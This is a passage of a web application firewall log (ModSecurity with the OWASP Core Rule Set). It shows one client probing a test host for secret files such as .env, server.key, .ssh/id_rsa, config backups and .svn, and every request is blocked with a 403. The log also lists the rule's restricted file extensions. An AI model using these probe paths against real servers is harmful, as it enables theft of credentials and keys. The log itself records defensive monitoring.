&quot;aZ6C6WXxsr5IXP-ltRiaagAAAAA&quot;]
[Wed Feb 25 06:04:41.455737 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaagAAAAA&quot;]
[Wed Feb 25 06:04:41.455958 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaagAAAAA&quot;]
[Wed Feb 25 06:04:41.545117 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/app/private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabAAAAAA&quot;]
[Wed Feb 25 06:04:41.545404 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabAAAAAA&quot;]
[Wed Feb 25 06:04:41.545606 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/app/private/.env&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabAAAAAA&quot;]
[Wed Feb 25 06:04:41.594154 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabQAAAAA&quot;]
[Wed Feb 25 06:04:41.594768 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabQAAAAA&quot;]
[Wed Feb 25 06:04:41.594988 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabQAAAAA&quot;]
[Wed Feb 25 06:04:41.626510 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabgAAAAA&quot;]
[Wed Feb 25 06:04:41.626793 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabgAAAAA&quot;]
[Wed Feb 25 06:04:41.626984 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabgAAAAA&quot;]
[Wed Feb 25 06:04:41.716385 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabwAAAAA&quot;]
[Wed Feb 25 06:04:41.716982 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabwAAAAA&quot;]
[Wed Feb 25 06:04:41.717205 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiabwAAAAA&quot;]
[Wed Feb 25 06:04:41.828927 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacQAAAAA&quot;]
[Wed Feb 25 06:04:41.829493 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacQAAAAA&quot;]
[Wed Feb 25 06:04:41.829714 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacQAAAAA&quot;]
[Wed Feb 25 06:04:41.847817 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYAwAAAAc&quot;]
[Wed Feb 25 06:04:41.848119 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYAwAAAAc&quot;]
[Wed Feb 25 06:04:41.848323 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYAwAAAAc&quot;]
[Wed Feb 25 06:04:41.938976 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYBAAAAAc&quot;]
[Wed Feb 25 06:04:41.939263 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYBAAAAAc&quot;]
[Wed Feb 25 06:04:41.939503 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ6C6Yv6AM5Bs3q_JQDYBAAAAAc&quot;]
[Wed Feb 25 06:04:41.985509 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacgAAAAA&quot;]
[Wed Feb 25 06:04:41.986095 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacgAAAAA&quot;]
[Wed Feb 25 06:04:41.986284 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiacgAAAAA&quot;]
[Wed Feb 25 06:04:42.018481 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBQAAAAc&quot;]
[Wed Feb 25 06:04:42.018778 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBQAAAAc&quot;]
[Wed Feb 25 06:04:42.018976 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBQAAAAc&quot;]
[Wed Feb 25 06:04:42.059390 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBgAAAAc&quot;]
[Wed Feb 25 06:04:42.059672 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ6C6ov6AM5Bs3q_JQDYBgAAAAc&quot;]
